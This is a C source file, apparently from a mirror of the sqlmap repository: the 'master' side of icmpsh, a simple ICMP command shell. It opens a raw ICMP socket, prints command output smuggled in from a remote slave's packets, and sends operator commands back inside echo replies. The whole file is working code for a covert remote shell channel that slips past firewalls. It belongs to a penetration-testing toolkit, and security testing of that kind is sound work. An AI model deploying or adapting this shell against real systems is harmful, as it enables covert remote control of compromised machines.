mirror of
https://github.com/sqlmapproject/sqlmap.git
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135 lines
3.9 KiB
C
135 lines
3.9 KiB
C
/*
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* icmpsh - simple icmp command shell
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* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
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* This program is free software: you can redistribute it and/or modify
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* it under the terms of the GNU General Public License as published by
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* the Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* This program is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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* GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License
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* along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/stat.h>
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#include <netinet/in.h>
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#include <netinet/ip_icmp.h>
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#include <netinet/ip.h>
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#include <string.h>
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#include <unistd.h>
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#include <fcntl.h>
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#define IN_BUF_SIZE 1024
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#define OUT_BUF_SIZE 64
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// calculate checksum
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unsigned short checksum(unsigned short *ptr, int nbytes)
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{
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unsigned long sum;
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unsigned short oddbyte, rs;
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sum = 0;
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while(nbytes > 1) {
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sum += *ptr++;
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nbytes -= 2;
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}
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if(nbytes == 1) {
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oddbyte = 0;
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*((unsigned char *) &oddbyte) = *(u_char *)ptr;
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sum += oddbyte;
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}
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sum = (sum >> 16) + (sum & 0xffff);
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sum += (sum >> 16);
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rs = ~sum;
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return rs;
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}
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int main(int argc, char **argv)
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{
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int sockfd;
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int flags;
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char in_buf[IN_BUF_SIZE];
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char out_buf[OUT_BUF_SIZE];
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unsigned int out_size;
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int nbytes;
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struct iphdr *ip;
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struct icmphdr *icmp;
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char *data;
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struct sockaddr_in addr;
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printf("icmpsh - master\n");
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// create raw ICMP socket
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sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
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if (sockfd == -1) {
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perror("socket");
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return -1;
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}
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// set stdin to non-blocking
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flags = fcntl(0, F_GETFL, 0);
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flags |= O_NONBLOCK;
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fcntl(0, F_SETFL, flags);
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printf("running...\n");
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while(1) {
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// read data from socket
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memset(in_buf, 0x00, IN_BUF_SIZE);
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nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
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if (nbytes > 0) {
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// get ip and icmp header and data part
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ip = (struct iphdr *) in_buf;
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if (nbytes > sizeof(struct iphdr)) {
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nbytes -= sizeof(struct iphdr);
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icmp = (struct icmphdr *) (ip + 1);
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if (nbytes > sizeof(struct icmphdr)) {
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nbytes -= sizeof(struct icmphdr);
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data = (char *) (icmp + 1);
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data[nbytes] = '\0';
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printf("%s", data);
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fflush(stdout);
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}
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// reuse headers
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icmp->type = 0;
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addr.sin_family = AF_INET;
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addr.sin_addr.s_addr = ip->saddr;
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// read data from stdin
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nbytes = read(0, out_buf, OUT_BUF_SIZE);
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if (nbytes > -1) {
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memcpy((char *) (icmp + 1), out_buf, nbytes);
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out_size = nbytes;
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} else {
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out_size = 0;
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}
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icmp->checksum = 0x00;
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icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
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// send reply
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nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
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if (nbytes == -1) {
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perror("sendto");
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return -1;
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}
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}
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}
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}
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return 0;
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}
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